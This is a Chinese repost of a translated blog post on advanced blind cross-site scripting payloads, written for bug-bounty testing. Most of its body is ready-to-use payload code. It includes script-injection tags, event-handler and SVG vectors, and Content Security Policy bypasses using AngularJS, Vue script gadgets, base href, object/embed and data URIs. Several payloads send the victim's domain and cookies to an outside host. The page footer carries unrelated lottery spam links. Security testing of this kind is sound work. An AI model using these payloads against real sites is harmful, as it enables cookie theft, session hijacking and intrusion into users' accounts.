安基网 首页 安全 Web安全 查看内容

Blind XSS Payload进阶

2020-5-12 13:28| 投稿: |来自:


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要:  翻译文章,原文:Advanced Blind XSS Payloads在审核应用程序时,有时会丢失上下文,并且会遗漏问题。寻找Blind Cross-Site-Scripting(bXSS)时也是如此。去年,我写了关于AngularJS bXSS的博客,以及如何利 ...

 翻译文章,原文:Advanced Blind XSS Payloads[1]


在审核应用程序时,有时会丢失上下文,并且会遗漏问题。寻找Blind Cross-Site-Scripting(bXSS)[2]时也是如此。去年,我写了关于AngularJS bXSS的博客,以及如何利用AngularJS在bXSS上下文中为您执行JavaScript。

在本文中,我想通过多种方法来增加有效负载定义,以检测bXSS,希望有助于识别后端系统中未发现的bXSS。我想以一种自动化的方式来做到这一点,因此可以通过创建不同的上下文盲目XSS负载来实现,这些负载可以在Burp或其他自动扫描工具中用于xsshunter或bXSS之类的服务(默认情况下所有这些都包括在内)。

验证bXSS

Images

大多数情况下,确认bXSS的最简单方法是包括一个图像以呈现和捕获引荐来源网址(如果这对您足够好,那么您可以忽略博客的其余部分)。有时,网站会部署带有img-src的严格的内容安全策略(CSP),从而阻止从任意域加载图像。

<!-- Image for HTTP Interaction -->"><img src='//domain/xss'>

您可能需要考虑使用Angular和AngularJS之类的框架来清理不受信任的数据,但会保留图像,因为它们在技术上是有效的HTML,并且会删除事件处理程序(这很有意义),但是这很可能是HTML注入,如果应用程序正在使用img-src,则此方法将无法正常工作,因为我们控制的域不太可能位于白名单中。(注释:img-src 是在CSP中指定的数据)



下一个有效负载是更传统的外部JavaScript,其中包含第三方脚本以呈现其他内容,永远不要把这个有效负载视为理所当然;它可能只会为您赚到10,000美元:

<!-- External JavaScript -->"><script src="//domain/xss.js"></script>

JavaScript URI也可以用于React应用程序,并且可以在href属性中注入任何输入的内容:

// JavaScript URIjavascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)');​

另一种方法是在href中注入包含JavaScript URI的任意HTML。

<!-- JavaScript URI in a href -->"><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>​

现在,让我们看一下浏览器的其余执行生态系统,其中包括SVG,HTML5,事件处理程序,CSS(大多已过时,因此将不包括在内)。

HTML5Sec.org[3]并没有重新发明轮子,而是包含了大量可用于构建bXSS有效负载的有效负载,下面看一下这些示例:

<!-- html5sec - Self-executing focus event via autofocus: -->"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>​<!-- html5sec - JavaScript execution via iframe and onload -->"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">​<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>​<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">​<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

Matthew Byrant为xsshunter创建了一些出色的有效负载,这些负载在将恶意字符列入黑名单或使用jQuery的应用程序中非常有用。

<!-- xsshunter.com - Sites that use JQuery --><script>$.getScript("//domain")</script>​<!-- xsshunter.com - When <script> is filtered -->"><img src=x id=payload== onerror=eval(atob(this.id))>​<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->"><input onfocus=eval(atob(this.id)) id=payload== autofocus>

到目前为止,我们已经实现了Image HTTP交互,外部JavaScript,JavaScript URI,href,事件处理程序,SVG,JQuery,并且我已经在博客中介绍了AngularJS[4];您可能可以利用HTML5sec[5],Ed的错误赏金备忘单[6]或XSS注入[7]等出色的资源制作其他有效载荷。

CSP(内容安全策略)

浏览器团队确实已经开始引入一些令人惊叹的控制项,如果您观看Lukas和Michele关于内容安全策略(CSP)的演讲[8],您将看到创新,但是复杂性也在增加。在某些情况下,存在注入,但是他们已经部署了CSP,并且通用有效负载将无法工作!如果网站具有img-src,则即使图像也不会加载,因此我们需要发挥想象。

好消息是,有各种CSP旁路。Lukas和Michelle记录了可以绕过CSP的各种方法[9]。

每个站点都有不同的CSP,某些组织可能会重复使用类似的模式,但是如果您可以看到政策,将其扔到csp-evaluator.withgoogle.com[10]中会立即为您提供有关存在哪些注入向量的一些信息。



是否了解有关CSP的重要信息?

找到有效的执行上下文后,CSP不会阻止您通过document.location(https://developer.mozilla.org/en-US/docs/Web/API/Document/location)将数据泄漏到另一个源。CSP并不是为了防止数据泄露而制造的,并且通常会被误解,它仅用于定义应加载和执行哪些资源。

让我们看看这在AngularJS中如何工作:

<!-- Adapted from Gareth Heyes/sirdarkcat --><!DOCTYPE html><html lang="en">​<head>  <meta http-equiv=content-security-policy content="object-src 'none';script-src 'nonce-secret';">  <script nonce=secret src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script></head>​<body>  <div ng-app ng-csp>    <textarea autofocus      ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH?exfil='+$event.view.encodeURI(d.domain+';'+d.cookie)"></textarea>  </div></body>​</html>

它将把文档的相关部分渗透到您选择的域中。



CDN白名单

在CSP中将CDN列入白名单是攻击者的梦想,也是防御者的噩梦,过去已有记录,大多数策略由于CDN列入白名单而被绕开,因此测试这种类型的注入的一种简单方法是建立CDN目录,并将它们全部注入到页面中,再加上有效的执行上下文,例如AngularJS。

"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script><!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... --><div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>​

base-src

HTML中最常被误解的元素是base元素,该元素会将在注入点下方加载的所有相关脚本重定向到第三方来源;这包括有效的CSP nonce!

<!-- will change https://example.com/scripts/foo.js to https://domain/scripts/foo.js -->"><base href="//domain"><script nonce='secret' src='./scripts/foo.js'></script>

您需要做的就是配置服务器(例如bXSS),以使通配符可以渲染有效负载,前提是您能够成功将base href注入应用程序中,这在XSSHunter上也可以使用。



object-src

CSP的一个常见问题是,当未定义object-src时,可以通过嵌入,对象或applet对其进行绕过,但是由于浏览器安全性的提高,其中许多已经过时或难以执行JavaScript。

<!-- object-src is relaxed or missing adapted from https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22  -->​"><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain="})))}catch (e) { d = document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>​"><object data='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch (e) { d = document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>​

script-src

如果CSP策略在script-src中启用HTTPS,*,data等,则通常很容易绕过:

<!-- data scheme or wildcard in script-src -->"><script src=data:text/javascript;base64,ZD1kb2N1bWVudDsgXyA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7Xy5pZD0nMTknO18ubm9uY2U9ZC5xdWVyeVNlbGVjdG9yKCdbbm9uY2VdJykubm9uY2U7Xy5zcmM9Jy8vbG9jYWxob3N0L20nO2QuYm9keS5hcHBlbmRDaGlsZChfKSA=></script>​<!-- https:// in script-src -->"><script src='https://domain'></script>

脚本小工具

Google团队于2017年发布了关于脚本小工具[11]的研究,其中介绍了绕过CSP的新方法。回顾一下,Script Gadgets是合法的JavaScript代码,可以通过HTML Injection触发。这意味着库/框架,例如AngularJS(上面的示例),Vue,Aurelia等;可以在bXSS上下文中使用。脚本小工具可用于绕过CSP,XSS过滤器,Sanitizers和WAF;因此,它们应该在攻击者的武器库中使用。

<!-- Google Research - AngularJS --><div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>​<!-- Google Research - Vue.js-->"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>​

Google团队提供的研究可以进一步扩展有效负载列表,其中包括各种库和框架的绕过列表。

多语言有效载荷

对于在多种情况下运行的多语种有效载荷,攻击面较广,将有助于识别诸如bXSS之类的问题。Mathias Karlsson的精彩演讲[12]详细介绍了如何创建有效负载,这可能是在以下两个有用的上下文中找到第三方应用程序中未发现的bXSS问题的关键。通过创建特定于框架的多语言有效负载,可以进一步扩展这些功能。

// Gareth Heyes - https://twitter.com/garethheyesjavascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>​// clrf -  http://polyglot.innerht.ml/javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>​

我希望此博客文章有用,这些有效内容已集成到bXSS中,这是包含上面所有有效内容的要点[13],也感谢Parsia和Gareth在发布之前对博客文章进行了审核,并感谢Lukas的投入。

References

[1] Advanced Blind XSS Payloads: https://ardern。io/2019/06/20/payload-bxss/

[2] Blind Cross-Site-Scripting(bXSS): https://ardern。io/2017/12/10/blind-xss/

[3] HTML5Sec。org: https://html5sec。org/

[4] AngularJS: https://ardern.io/2018/12/07/angularjs-bxss/

[5] HTML5sec: https://html5sec.org/

[6] Ed的错误赏金备忘单: https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md

[7] XSS注入: https://github。com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

[8] Lukas和Michele关于内容安全策略(CSP)的演讲: https://www.youtube.com/watch?v=_L06HetskC4

[9] 绕过CSP的各种方法: http://sebastian-lekies.de/csp/bypasses.php

[10] csp-evaluator。withgoogle。com: https://csp-evaluator。withgoogle。com/

[11] 脚本小工具: https://github。com/google/security-research-pocs/tree/master/script-gadgets

[12] 精彩演讲: https://www。slideshare。net/MathiasKarlsson2/polyglot-payloads-in-practice-by-avlidienbrunn-at-hackpra

[13] 有效内容的要点: https://gist.github.com/LewisArdern/e1b09e85345ecd78713b16042ea6ded6



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6825432404379828743/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

相关阅读

最新评论

 最新
返回顶部
99彩票导航网 极速赛车是统一开奖吗 千禧彩票计划群 上海快3开奖 山东11选5计划 吉利彩票计划群 快三娱乐平台 澳客彩票计划群 99彩票导航网 迅雷彩票计划群